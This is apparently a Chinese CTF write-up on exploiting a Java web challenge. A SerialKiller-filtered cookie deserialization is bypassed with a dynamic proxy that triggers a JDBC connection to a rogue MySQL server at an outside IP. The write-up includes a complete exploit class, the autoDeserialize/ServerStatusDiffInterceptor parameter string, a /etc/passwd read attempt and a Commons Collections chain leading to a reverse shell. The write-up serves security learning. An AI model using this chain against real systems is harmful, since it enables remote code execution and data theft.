考点:JDBC反序列化打CC链+动态代理类触发readobject
一眼看过去 好像只有一个
mysql-connector-java
可以利用jdbc
可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链
出现了一个==不常见的依赖库== serialkiller
做了反序列化的过滤器
可以尝试查看其源码
https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
会发现其隐形依赖了
commons-collections3.2
也就是常见的CC 3.x
一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
if (cookieData == null || cookieData.equals("")) {
return "redirect:/index";
}
Info info = (Info) deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
return "hello";
}
return "hello";
}
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
我们对/hello
路由下的cookie可控 可以传入任意数据 但是 deserialize
函数结合SerialKiller
做了白名单过滤
被反序列化的类只接受 本地的特定包
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
仔细观察会发现
定义类
InfoInvocationHandler
实现了 InvocationHandler, Serializable
可以作为动态代理的处理类 而且==可以被序列化==
而我们的==最终目的==是 触发 DatabaseInfo
类中的 connect
方法
同样的 被代理类实现了 序列化接口和Info
接口
可以被动态代理 方法有
checkAllInfo()
getAllInfo()
纵观源码不存在典型的
readObject()
可以被触发
但是存在 动态代理可以劫持 readObect()
的这个动作
在具体的invoke()
之前 就调用了类的 checkAllInfo()
如果被代理的类是 目标类DatabaseInfo
的 checkAllInfo()
方法
是可以实现 发起jdbc的连接的
对于 mysql 8.x版本
characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
通过触发ServerStatusDiffInterceptor
拦截器,执行查询语句会调用拦截器的 preProcess
和 postProcess
方法 作为开头 最终实现ResultSetImpl
的getObject
方法 实现反序列化操作
编写动态代理类 被代理对象是 DatabaseInfo
类
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws IOException {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("23.94.38.86");
databaseInfo.setPort("3306");
databaseInfo.setUsername("J1rrY");
databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);
Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(infoproxy);
String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(poc);
}
}
这里的Mysql fake server
我选择 https://github.com/rmb122/rogue_mysql_server
具体配置按 Readme
来就可以了
可以简单尝试一下都读取 /etc/passwd
失败了
直接用 JDBC反序列化链打CC链
环境出网,反弹shell就可以了